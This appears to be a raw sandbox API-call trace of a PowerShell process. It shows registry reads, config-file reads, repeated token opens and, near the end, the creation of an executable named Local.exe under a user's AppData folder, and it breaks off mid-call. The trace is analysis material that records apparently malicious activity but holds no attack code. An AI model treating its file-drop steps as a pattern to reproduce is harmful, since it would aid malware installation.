GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.065] VirtualQuery (in: lpAddress=0xeb7f0, lpBuffer=0xec6b0, dwLength=0x30 | out: lpBuffer=0xec6b0*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0090.085] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0090.085] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.085] CoTaskMemFree (pv=0x298460) [0090.085] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0090.085] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.085] CoTaskMemFree (pv=0x298460) [0090.086] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0090.086] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.086] CoTaskMemFree (pv=0x298460) [0090.368] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0090.368] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.368] CoTaskMemFree (pv=0x298460) [0090.372] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0090.372] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.372] CoTaskMemFree (pv=0x298460) [0090.372] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0090.372] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.372] CoTaskMemFree (pv=0x298460) [0091.298] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x2988a0 [0091.645] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.646] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.668] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0091.668] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0091.668] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0091.668] VirtualQuery (in: lpAddress=0xebaa0, lpBuffer=0xec960, dwLength=0x30 | out: lpBuffer=0xec960*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0091.670] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xed8f8 | out: phkResult=0xed8f8*=0x3a8) returned 0x0 [0091.670] RegQueryValueExW (in: hKey=0x3a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed87c, lpData=0x0, lpcbData=0xed878*=0x0 | out: lpType=0xed87c*=0x1, lpData=0x0, lpcbData=0xed878*=0x56) returned 0x0 [0091.670] CoTaskMemAlloc (cb=0x5a) returned 0x1b3ce220 [0091.670] RegQueryValueExW (in: hKey=0x3a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed84c, lpData=0x1b3ce220, lpcbData=0xed848*=0x56 | out: lpType=0xed84c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xed848*=0x56) returned 0x0 [0091.670] CoTaskMemFree (pv=0x1b3ce220) [0091.670] RegCloseKey (hKey=0x3a8) returned 0x0 [0091.670] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xed8f8 | out: phkResult=0xed8f8*=0x3a8) returned 0x0 [0091.670] RegQueryValueExW (in: hKey=0x3a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed87c, lpData=0x0, lpcbData=0xed878*=0x0 | out: lpType=0xed87c*=0x1, lpData=0x0, lpcbData=0xed878*=0x56) returned 0x0 [0091.670] CoTaskMemAlloc (cb=0x5a) returned 0x1b3ce220 [0091.670] RegQueryValueExW (in: hKey=0x3a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed84c, lpData=0x1b3ce220, lpcbData=0xed848*=0x56 | out: lpType=0xed84c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xed848*=0x56) returned 0x0 [0091.671] CoTaskMemFree (pv=0x1b3ce220) [0091.671] RegCloseKey (hKey=0x3a8) returned 0x0 [0091.671] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b3cb480 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0091.671] CoTaskMemFree (pv=0x1b3cb480) [0091.671] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0xed4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0091.671] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b3cb480 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0091.671] CoTaskMemFree (pv=0x1b3cb480) [0091.671] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0xed4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0091.672] CoTaskMemFree (pv=0x298ac0) [0091.672] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.672] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.673] CoTaskMemFree (pv=0x298ac0) [0091.673] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.673] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.673] CoTaskMemFree (pv=0x298ac0) [0091.673] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.673] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.673] CoTaskMemFree (pv=0x298ac0) [0091.677] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.677] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.677] CoTaskMemFree (pv=0x298ac0) [0091.679] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.679] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.679] CoTaskMemFree (pv=0x298ac0) [0091.681] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0091.681] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0xeda40 | out: lpMode=0xeda40) returned 1 [0091.682] CoTaskMemFree (pv=0x298ac0) [0091.685] SetEvent (hEvent=0x380) returned 1 [0091.685] SetEvent (hEvent=0x3a8) returned 1 [0091.685] SetEvent (hEvent=0x358) returned 1 [0091.685] SetEvent (hEvent=0x37c) returned 1 [0091.688] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.688] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.688] CoTaskMemFree (pv=0x298ac0) [0091.688] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0xed798 | out: phkResult=0xed798*=0x30c) returned 0x0 [0091.688] RegQueryValueExW (in: hKey=0x30c, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0xed71c, lpData=0x0, lpcbData=0xed718*=0x0 | out: lpType=0xed71c*=0x0, lpData=0x0, lpcbData=0xed718*=0x0) returned 0x2 Thread: id = 39 os_tid = 0xba0 Thread: id = 40 os_tid = 0xba4 Thread: id = 41 os_tid = 0xba8 Thread: id = 42 os_tid = 0xbac Thread: id = 43 os_tid = 0xbb0 [0079.235] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0087.337] LocalFree (hMem=0x2a3f80) returned 0x0 [0087.337] CloseHandle (hObject=0x324) returned 1 [0087.337] CloseHandle (hObject=0x13) returned 1 [0087.379] RegCloseKey (hKey=0x30c) returned 0x0 [0087.379] RegCloseKey (hKey=0x308) returned 0x0 [0087.379] LocalFree (hMem=0x2a3f50) returned 0x0 [0087.379] RegCloseKey (hKey=0x330) returned 0x0 [0087.379] CloseHandle (hObject=0xf) returned 1 [0087.381] RegCloseKey (hKey=0x310) returned 0x0 [0089.783] RegCloseKey (hKey=0x374) returned 0x0 [0089.783] RegCloseKey (hKey=0x370) returned 0x0 [0089.783] RegCloseKey (hKey=0x36c) returned 0x0 [0089.783] RegCloseKey (hKey=0x368) returned 0x0 [0089.784] RegCloseKey (hKey=0x364) returned 0x0 [0089.784] RegCloseKey (hKey=0x360) returned 0x0 [0089.784] RegCloseKey (hKey=0x35c) returned 0x0 [0089.784] RegCloseKey (hKey=0x3a4) returned 0x0 [0089.784] RegCloseKey (hKey=0x3a0) returned 0x0 [0089.785] RegCloseKey (hKey=0x34c) returned 0x0 [0089.785] RegCloseKey (hKey=0x348) returned 0x0 [0089.785] RegCloseKey (hKey=0x344) returned 0x0 [0089.785] RegCloseKey (hKey=0x340) returned 0x0 [0089.785] RegCloseKey (hKey=0x33c) returned 0x0 [0089.786] RegCloseKey (hKey=0x338) returned 0x0 [0089.786] RegCloseKey (hKey=0x324) returned 0x0 [0089.786] RegCloseKey (hKey=0x30c) returned 0x0 [0089.786] RegCloseKey (hKey=0x308) returned 0x0 [0089.786] RegCloseKey (hKey=0x39c) returned 0x0 [0089.786] RegCloseKey (hKey=0x398) returned 0x0 [0089.787] RegCloseKey (hKey=0x378) returned 0x0 [0089.787] RegCloseKey (hKey=0x3ac) returned 0x0 [0089.787] RegCloseKey (hKey=0x390) returned 0x0 [0089.787] RegCloseKey (hKey=0x38c) returned 0x0 [0089.787] RegCloseKey (hKey=0x388) returned 0x0 [0089.788] RegCloseKey (hKey=0x384) returned 0x0 [0089.788] RegCloseKey (hKey=0x380) returned 0x0 [0089.788] RegCloseKey (hKey=0x37c) returned 0x0 [0089.788] RegCloseKey (hKey=0x358) returned 0x0 [0089.788] RegCloseKey (hKey=0x3a8) returned 0x0 [0089.789] RegCloseKey (hKey=0x330) returned 0x0 [0118.252] RegCloseKey (hKey=0x30c) returned 0x0 Thread: id = 44 os_tid = 0x86c [0091.693] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0091.710] SetThreadUILanguage (LangId=0x0) returned 0x7fffff00409 [0091.732] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.732] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.733] CoTaskMemFree (pv=0x298ac0) [0091.734] VirtualQuery (in: lpAddress=0x1c7bd880, lpBuffer=0x1c7be740, dwLength=0x30 | out: lpBuffer=0x1c7be740*(BaseAddress=0x1c7bd000, AllocationBase=0x1be30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0091.755] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.755] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.755] CoTaskMemFree (pv=0x298ac0) [0091.758] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.758] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.758] CoTaskMemFree (pv=0x298ac0) [0091.760] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.760] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.760] CoTaskMemFree (pv=0x298ac0) [0091.788] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.788] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.788] CoTaskMemFree (pv=0x298ac0) [0091.790] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.790] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.790] CoTaskMemFree (pv=0x298ac0) [0091.792] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.792] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.792] CoTaskMemFree (pv=0x298ac0) [0091.805] VirtualQuery (in: lpAddress=0x1c7bdb30, lpBuffer=0x1c7be9f0, dwLength=0x30 | out: lpBuffer=0x1c7be9f0*(BaseAddress=0x1c7bd000, AllocationBase=0x1be30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0091.806] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.806] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.806] CoTaskMemFree (pv=0x298ac0) [0091.809] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.809] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.809] CoTaskMemFree (pv=0x298ac0) [0091.809] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.809] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.809] CoTaskMemFree (pv=0x298ac0) [0091.810] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.810] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.811] CoTaskMemFree (pv=0x298ac0) [0091.815] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.816] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.816] CoTaskMemFree (pv=0x298ac0) [0091.879] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.879] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.879] CoTaskMemFree (pv=0x298ac0) [0091.880] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.880] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.881] CoTaskMemFree (pv=0x298ac0) [0091.881] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.881] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.881] CoTaskMemFree (pv=0x298ac0) [0091.887] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.887] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.887] CoTaskMemFree (pv=0x298ac0) [0091.888] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.888] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.888] CoTaskMemFree (pv=0x298ac0) [0091.889] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.889] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.890] CoTaskMemFree (pv=0x298ac0) [0091.891] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.891] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.891] CoTaskMemFree (pv=0x298ac0) [0091.927] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.927] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.928] CoTaskMemFree (pv=0x298ac0) [0091.963] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.964] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.964] CoTaskMemFree (pv=0x298ac0) [0091.988] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0091.988] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0091.988] CoTaskMemFree (pv=0x298ac0) [0092.010] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0092.010] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0092.010] CoTaskMemFree (pv=0x298ac0) [0092.252] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x348 [0117.264] CloseHandle (hObject=0x348) returned 1 [0117.278] CoTaskMemAlloc (cb=0x104) returned 0x298ac0 [0117.279] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298ac0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0117.279] CoTaskMemFree (pv=0x298ac0) [0118.262] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c7bd1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0118.262] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c7bd0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0118.266] CoTaskMemAlloc (cb=0x20c) returned 0x1b3cc3d0 [0118.266] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1b3cc3d0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0118.267] CoTaskMemFree (pv=0x1b3cc3d0) [0118.267] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x1c7bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0118.276] GetCurrentProcess () returned 0xffffffffffffffff [0118.276] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bd198 | out: TokenHandle=0x1c7bd198*=0x30c) returned 1 [0118.279] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1c7bcdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", lpFilePart=0x0) returned 0x30 [0118.280] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c7bd240 | out: lpFileInformation=0x1c7bd240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0118.281] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1c7bcd90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0118.282] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c7bd1f0 | out: lpFileInformation=0x1c7bd1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0118.282] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1c7bcbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0118.282] SetErrorMode (uMode=0x1) returned 0x1 [0118.282] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1cc [0118.283] GetFileType (hFile=0x1cc) returned 0x1 [0118.283] SetErrorMode (uMode=0x1) returned 0x1 [0118.283] GetFileType (hFile=0x1cc) returned 0x1 [0118.284] GetFileSize (in: hFile=0x1cc, lpFileSizeHigh=0x1c7bd1e8 | out: lpFileSizeHigh=0x1c7bd1e8*=0x0) returned 0x65b3 [0118.284] ReadFile (in: hFile=0x1cc, lpBuffer=0x2e88e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7bd108, lpOverlapped=0x0 | out: lpBuffer=0x2e88e50*, lpNumberOfBytesRead=0x1c7bd108*=0x1000, lpOverlapped=0x0) returned 1 [0118.302] ReadFile (in: hFile=0x1cc, lpBuffer=0x2e88e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7bcde8, lpOverlapped=0x0 | out: lpBuffer=0x2e88e50*, lpNumberOfBytesRead=0x1c7bcde8*=0x1000, lpOverlapped=0x0) returned 1 [0118.303] ReadFile (in: hFile=0x1cc, lpBuffer=0x2e88e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7bcc38, lpOverlapped=0x0 | out: lpBuffer=0x2e88e50*, lpNumberOfBytesRead=0x1c7bcc38*=0x1000, lpOverlapped=0x0) returned 1 [0118.303] ReadFile (in: hFile=0x1cc, lpBuffer=0x2e88e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7bcc38, lpOverlapped=0x0 | out: lpBuffer=0x2e88e50*, lpNumberOfBytesRead=0x1c7bcc38*=0x1000, lpOverlapped=0x0) returned 1 [0118.303] ReadFile (in: hFile=0x1cc, lpBuffer=0x2e88e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7bcc38, lpOverlapped=0x0 | out: lpBuffer=0x2e88e50*, lpNumberOfBytesRead=0x1c7bcc38*=0x1000, lpOverlapped=0x0) returned 1 [0118.305] CloseHandle (hObject=0x1cc) returned 1 [0118.306] GetCurrentProcess () returned 0xffffffffffffffff [0118.306] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bd3f8 | out: TokenHandle=0x1c7bd3f8*=0x1cc) returned 1 [0118.306] GetCurrentProcess () returned 0xffffffffffffffff [0118.306] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bd3f8 | out: TokenHandle=0x1c7bd3f8*=0x348) returned 1 [0118.307] GetCurrentProcess () returned 0xffffffffffffffff [0118.307] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bd198 | out: TokenHandle=0x1c7bd198*=0x1d4) returned 1 [0118.308] GetCurrentProcess () returned 0xffffffffffffffff [0118.308] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bd3f8 | out: TokenHandle=0x1c7bd3f8*=0x1d0) returned 1 [0118.308] GetCurrentProcess () returned 0xffffffffffffffff [0118.308] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bd3f8 | out: TokenHandle=0x1c7bd3f8*=0x3a4) returned 1 [0118.315] GetCurrentProcess () returned 0xffffffffffffffff [0118.316] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bd078 | out: TokenHandle=0x1c7bd078*=0x35c) returned 1 [0118.348] GetCurrentProcess () returned 0xffffffffffffffff [0118.348] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bd078 | out: TokenHandle=0x1c7bd078*=0x360) returned 1 [0118.356] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local.exe", nBufferLength=0x105, lpBuffer=0x1c7bd440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local.exe", lpFilePart=0x0) returned 0x23 [0118.356] SetErrorMode (uMode=0x1) returned 0x1 [0118.356] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0118.357] GetFileType (hFile=0x364) returned 0x1 [0118.357] SetErrorMode (uMode=0x1) returned 0x1 [0118.357] GetFileType (hFile=0x364) returned 0x1 [0118.358] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x368 [0118.358] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x36c [0118.377] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bd0d8 | out: TokenHandle=0x1c7bd0d8*=0x370) returned 1 [0118.388] GetCurrentProcess () returned 0xffffffffffffffff [0118.388] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bd0d8 | out: 